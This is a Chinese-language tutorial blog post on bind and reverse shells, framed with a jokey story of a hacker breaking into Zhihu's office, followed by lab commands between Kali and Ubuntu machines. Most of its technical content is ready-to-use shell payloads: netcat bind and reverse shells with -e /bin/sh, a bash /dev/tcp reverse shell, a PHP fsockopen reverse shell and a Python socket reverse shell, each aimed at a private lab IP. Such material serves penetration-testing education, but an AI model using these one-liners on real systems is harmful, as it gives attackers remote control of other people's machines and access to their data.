正反向反弹shell
- 内网渗透
- 2023-09-07
- 10445热度
- 0评论
- 先弹shell就是正向shell,后连接
- 后弹shell就是反向shell,先监听
正向shell:客户端想要获得服务端的shell
- 假设小黑是一名黑客
- 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
- 于是小黑通过nc将这台电脑的控制权通过23333端口发射出去
- 小黑做了一系列的操作,又悄咪咪的原路返航
- 回到家后,通过nc连上刘看山的电脑
- 后来,刘看山的隐私泄露了~
- (这里小黑是客户端,刘看山是服务端,服务端发射shell)
反向shell:服务端想要获得客户端的shell(也就是反弹shell)
- 假设小黑是一名黑客
- 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
- 小黑发现电脑里有一个有趣的文件(刘看山的秘密)
- 小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航
- 回到家后,小黑打开这个文件
- 发现电脑被刘看山控制了~
- (这里小黑是客户端,刘看山是服务端,客户端发射shell)
正向shell(服务端送shell)
- 第一步:在kali rolling(服务端)上监听23333端口,并反弹shell
nc -lvp 23333 -e /bin/sh

- 第二步:在ubuntu18(客户端)上连接kali rolling的23333端口
- 这个时候,客户端就拿到服务端的shell控制权了
- 可以随意控制服务端
nc 192.168.160.140 23333

反向shell(客户端送shell)
- 第一步:在ubuntu18上选择增强版的netcat
- 一般ubuntu默认的是free-bsd版本的nc
update-alternatives --config nc

- 第二步:在kali rolling上启动服务端,等待客户端上钩
- 客户端只要吃钩子,服务端就获得了客户端的shell控制权
- 可以随意控制客户端
nc -lvp 23333

- 第三步:在ubuntu18上启动客户端,吃钩子
nc 192.168.160.140 23333 -e /bin/sh

- 总结谁有 -e /bin/sh 谁就是靶机
- 我们发现必须客户端和服务端都安装了nc才能实现反弹shell(反向shell)
- 但是如果其中一方没有安装nc怎么办?
bash反弹shell
- 服务端(kali rolling上监听23333)
- 客户端吃钩子,服务端就成功控制客户端了

- 客户端(ubuntu18上bash反弹shell)
bash -i >& /dev/tcp/192.168.178.135/23333 0>&1
有时候kali不支持dev/tcp
可以试试
bash -c 'bash -i >& /dev/tcp/192.168.178.135/23333 0>&1'

php反弹shell
- 服务端(kali rolling上监听23333)
- 客户端吃钩子,服务端就成功控制客户端了

- 客户端(ubuntu18上bash反弹shell)
php -r '$f=fsockopen("192.168.160.140",23333);exec("/bin/sh -i <&3 >&3 2>&3");'

python反弹shell
- 服务端(kali rolling上监听23333)
- 客户端吃钩子,服务端就成功控制客户端了

- 客户端(ubuntu18上bash反弹shell)
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.160.140",23333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
